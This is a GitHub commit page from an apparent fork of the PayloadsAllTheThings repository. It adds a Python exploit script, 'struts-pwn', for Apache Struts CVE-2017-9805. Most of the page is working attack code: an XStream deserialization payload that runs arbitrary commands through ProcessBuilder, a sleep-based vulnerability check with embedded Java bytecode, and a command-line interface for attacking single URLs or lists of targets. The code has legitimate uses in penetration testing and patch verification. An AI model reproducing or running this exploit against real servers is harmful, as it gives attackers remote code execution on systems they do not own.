forked from swisskyrepo/PayloadsAllTheThings
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Multiple update - LFI/RCE via phpinfo, Struts2 v2
- Loading branch information
Swissky
committed
Sep 13, 2017
1 parent
c36d31e
commit 1ca215d
Showing
8 changed files
with
547 additions
and
6 deletions.
There are no files selected for viewing
File renamed without changes.
324 changes: 324 additions & 0 deletions
324
CVE Shellshock Heartbleed Struts2/Apache Struts 2 CVE-2017-9805.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,324 @@ | ||
#!/usr/bin/env python3 | ||
# coding=utf-8 | ||
# ***************************************************** | ||
# struts-pwn: Apache Struts CVE-2017-9805 Exploit | ||
# Author: | ||
# Mazin Ahmed <Mazin AT MazinAhmed DOT net> | ||
# This code is based on: | ||
# https://github.com/rapid7/metasploit-framework/pull/8924 | ||
# https://techblog.mediaservice.net/2017/09/detection-payload-for-the-new-struts-rest-vulnerability-cve-2017-9805/ | ||
# ***************************************************** | ||
import argparse | ||
import requests | ||
import sys | ||
|
||
# Disable SSL warnings | ||
try: | ||
import requests.packages.urllib3 | ||
requests.packages.urllib3.disable_warnings() | ||
except Exception: | ||
pass | ||
|
||
if len(sys.argv) <= 1: | ||
print('[*] CVE: 2017-9805 - Apache Struts2 S2-052') | ||
print('[*] Struts-PWN - @mazen160') | ||
print('\n%s -h for help.' % (sys.argv[0])) | ||
exit(0) | ||
|
||
parser = argparse.ArgumentParser() | ||
parser.add_argument("-u", "--url", | ||
dest="url", | ||
help="Check a single URL.", | ||
action='store') | ||
parser.add_argument("-l", "--list", | ||
dest="usedlist", | ||
help="Check a list of URLs.", | ||
action='store') | ||
parser.add_argument("-c", "--cmd", | ||
dest="cmd", | ||
help="Command to execute. (Default: 'echo test > /tmp/struts-pwn')", | ||
action='store', | ||
default='echo test > /tmp/struts-pwn') | ||
parser.add_argument("--exploit", | ||
dest="do_exploit", | ||
help="Exploit.", | ||
action='store_true') | ||
args = parser.parse_args() | ||
url = args.url if args.url else None | ||
usedlist = args.usedlist if args.usedlist else None | ||
url = args.url if args.url else None | ||
cmd = args.cmd if args.cmd else None | ||
do_exploit = args.do_exploit if args.do_exploit else None | ||
|
||
|
||
def url_prepare(url): | ||
url = url.replace('#', '%23') | ||
url = url.replace(' ', '%20') | ||
if ('://' not in url): | ||
url = str('http') + str('://') + str(url) | ||
return(url) | ||
|
||
|
||
def exploit(url, cmd, dont_print_status_on_console=False): | ||
url = url_prepare(url) | ||
if dont_print_status_on_console is False: | ||
print('\n[*] URL: %s' % (url)) | ||
print('[*] CMD: %s' % (cmd)) | ||
cmd = "".join(["<string>{0}</string>".format(_) for _ in cmd.split(" ")]) | ||
|
||
payload = """ | ||
<map> | ||
<entry> | ||
<jdk.nashorn.internal.objects.NativeString> | ||
<flags>0</flags> | ||
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> | ||
<dataHandler> | ||
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> | ||
<is class="javax.crypto.CipherInputStream"> | ||
<cipher class="javax.crypto.NullCipher"> | ||
<initialized>false</initialized> | ||
<opmode>0</opmode> | ||
<serviceIterator class="javax.imageio.spi.FilterIterator"> | ||
<iter class="javax.imageio.spi.FilterIterator"> | ||
<iter class="java.util.Collections$EmptyIterator"/> | ||
<next class="java.lang.ProcessBuilder"> | ||
<command> | ||
{0} | ||
</command> | ||
<redirectErrorStream>false</redirectErrorStream> | ||
</next> | ||
</iter> | ||
<filter class="javax.imageio.ImageIO$ContainsFilter"> | ||
<method> | ||
<class>java.lang.ProcessBuilder</class> | ||
<name>start</name> | ||
<parameter-types/> | ||
</method> | ||
<name>foo</name> | ||
</filter> | ||
<next class="string">foo</next> | ||
</serviceIterator> | ||
<lock/> | ||
</cipher> | ||
<input class="java.lang.ProcessBuilder$NullInputStream"/> | ||
<ibuffer/> | ||
<done>false</done> | ||
<ostart>0</ostart> | ||
<ofinish>0</ofinish> | ||
<closed>false</closed> | ||
</is> | ||
<consumed>false</consumed> | ||
</dataSource> | ||
<transferFlavors/> | ||
</dataHandler> | ||
<dataLen>0</dataLen> | ||
</value> | ||
</jdk.nashorn.internal.objects.NativeString> | ||
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> | ||
</entry> | ||
<entry> | ||
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> | ||
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> | ||
</entry> | ||
</map> | ||
""".format(cmd) | ||
|
||
headers = { | ||
'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2017-9805)', | ||
# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36', | ||
'Referer': str(url), | ||
'Content-Type': 'application/xml', | ||
'Accept': '*/*' | ||
} | ||
|
||
timeout = 3 | ||
try: | ||
output = requests.post(url, data=payload, headers=headers, verify=False, timeout=timeout, allow_redirects=False).text | ||
except Exception as e: | ||
print("EXCEPTION::::--> " + str(e)) | ||
output = 'ERROR' | ||
return(output) | ||
|
||
|
||
def check(url): | ||
url = url_prepare(url) | ||
print('\n[*] URL: %s' % (url)) | ||
|
||
initial_request = exploit(url, "", dont_print_status_on_console=True) | ||
if initial_request == "ERROR": | ||
result = False | ||
print("The host does not respond as expected.") | ||
return(result) | ||
|
||
payload_sleep_based_10seconds = """ | ||
<map> | ||
<entry> | ||
<jdk.nashorn.internal.objects.NativeString> | ||
<flags>0</flags> | ||
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> | ||
<dataHandler> | ||
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> | ||
<is class="javax.crypto.CipherInputStream"> | ||
<cipher class="javax.crypto.NullCipher"> | ||
<initialized>false</initialized> | ||
<opmode>0</opmode> | ||
<serviceIterator class="javax.imageio.spi.FilterIterator"> | ||
<iter class="javax.imageio.spi.FilterIterator"> | ||
<iter class="java.util.Collections$EmptyIterator"/> | ||
<next class="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" serialization="custom"> | ||
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> | ||
<default> | ||
<__name>Pwnr</__name> | ||
<__bytecodes> | ||
<byte-array>yv66vgAAADIAMwoAAwAiBwAxBwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFu | ||
dFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEA | ||
EkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJD | ||
bGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5 | ||
bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94 | ||
c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2Vy | ||
aWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFs | ||
YW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUv | ||
eG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9u | ||
cwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29t | ||
L3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3Vu | ||
L29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7 | ||
KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1B | ||
eGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFs | ||
L3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMu | ||
amF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNs | ||
ZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRp | ||
bWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcv | ||
YXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFs | ||
L3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQAQamF2YS9sYW5nL1RocmVhZAcAKgEA | ||
BXNsZWVwAQAEKEopVgwALAAtCgArAC4BAA1TdGFja01hcFRhYmxlAQAeeXNvc2VyaWFsL1B3bmVy | ||
MTY3MTMxNTc4NjQ1ODk0AQAgTHlzb3NlcmlhbC9Qd25lcjE2NzEzMTU3ODY0NTg5NDsAIQACAAMA | ||
AQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0A | ||
AAAGAAEAAAAuAA4AAAAMAAEAAAAFAA8AMgAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0A | ||
AAAGAAEAAAAzAA4AAAAgAAMAAAABAA8AMgAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAa | ||
AAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA3AA4AAAAqAAQAAAABAA8AMgAA | ||
AAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAiAAMA | ||
AgAAAA2nAAMBTBEnEIW4AC+xAAAAAQAwAAAAAwABAwACACAAAAACACEAEQAAAAoAAQACACMAEAAJ | ||
</byte-array> | ||
<byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFu | ||
dFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEA | ||
EkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2Vy | ||
aWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2 | ||
YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xh | ||
bmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRp | ||
bC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQAB | ||
AAAABSq3AAGxAAAAAgANAAAABgABAAAAOwAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAA | ||
AAoAAQACABYAEAAJ</byte-array> | ||
</__bytecodes> | ||
<__transletIndex>-1</__transletIndex> | ||
<__indentNumber>0</__indentNumber> | ||
</default> | ||
<boolean>false</boolean> | ||
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> | ||
</next> | ||
</iter> | ||
<filter class="javax.imageio.ImageIO$ContainsFilter"> | ||
<method> | ||
<class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class> | ||
<name>newTransformer</name> | ||
<parameter-types/> | ||
</method> | ||
<name>foo</name> | ||
</filter> | ||
<next class="string">foo</next> | ||
</serviceIterator> | ||
<lock/> | ||
</cipher> | ||
<input class="java.lang.ProcessBuilder$NullInputStream"/> | ||
<ibuffer/> | ||
<done>false</done> | ||
<ostart>0</ostart> | ||
<ofinish>0</ofinish> | ||
<closed>false</closed> | ||
</is> | ||
<consumed>false</consumed> | ||
</dataSource> | ||
<transferFlavors/> | ||
</dataHandler> | ||
<dataLen>0</dataLen> | ||
</value> | ||
</jdk.nashorn.internal.objects.NativeString> | ||
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> | ||
</entry> | ||
<entry> | ||
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> | ||
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> | ||
</entry> | ||
</map> | ||
""" | ||
headers = { | ||
'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2017-9805)', | ||
# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36', | ||
'Referer': str(url), | ||
'Content-Type': 'application/xml', | ||
'Accept': '*/*' | ||
} | ||
|
||
timeout = 8 | ||
try: | ||
requests.post(url, data=payload_sleep_based_10seconds, headers=headers, verify=False, timeout=timeout, allow_redirects=False) | ||
# if the response returned before the request timeout. | ||
# then, the host should not be vulnerable. | ||
# The request should return > 10 seconds, while the timeout is 8. | ||
result = False | ||
except Exception: | ||
result = True | ||
return(result) | ||
|
||
|
||
def main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit): | ||
if url: | ||
if not do_exploit: | ||
result = check(url) | ||
output = '[*] Status: ' | ||
if result is True: | ||
output += 'Vulnerable!' | ||
else: | ||
output += 'Not Affected.' | ||
print(output) | ||
else: | ||
exploit(url, cmd) | ||
print("[$] Request sent.") | ||
print("[.] If the host is vulnerable, the command will be executed in the background.") | ||
|
||
if usedlist: | ||
URLs_List = [] | ||
try: | ||
f_file = open(str(usedlist), 'r') | ||
URLs_List = f_file.read().replace('\r', '').split('\n') | ||
try: | ||
URLs_List.remove('') | ||
except ValueError: | ||
pass | ||
f_file.close() | ||
except Exception as e: | ||
print('Error: There was an error in reading list file.') | ||
print("Exception: " + str(e)) | ||
exit(1) | ||
for url in URLs_List: | ||
if not do_exploit: | ||
result = check(url) | ||
output = '[*] Status: ' | ||
if result is True: | ||
output += 'Vulnerable!' | ||
else: | ||
output += 'Not Affected.' | ||
print(output) | ||
else: | ||
exploit(url, cmd) | ||
print("[$] Request sent.") | ||
print("[.] If the host is vulnerable, the command will be executed in the background.") | ||
|
||
print('[%] Done.') | ||
|
||
if __name__ == '__main__': | ||
try: | ||
main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit) | ||
except KeyboardInterrupt: | ||
print('\nKeyboardInterrupt Detected.') | ||
print('Exiting...') | ||
exit(0) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.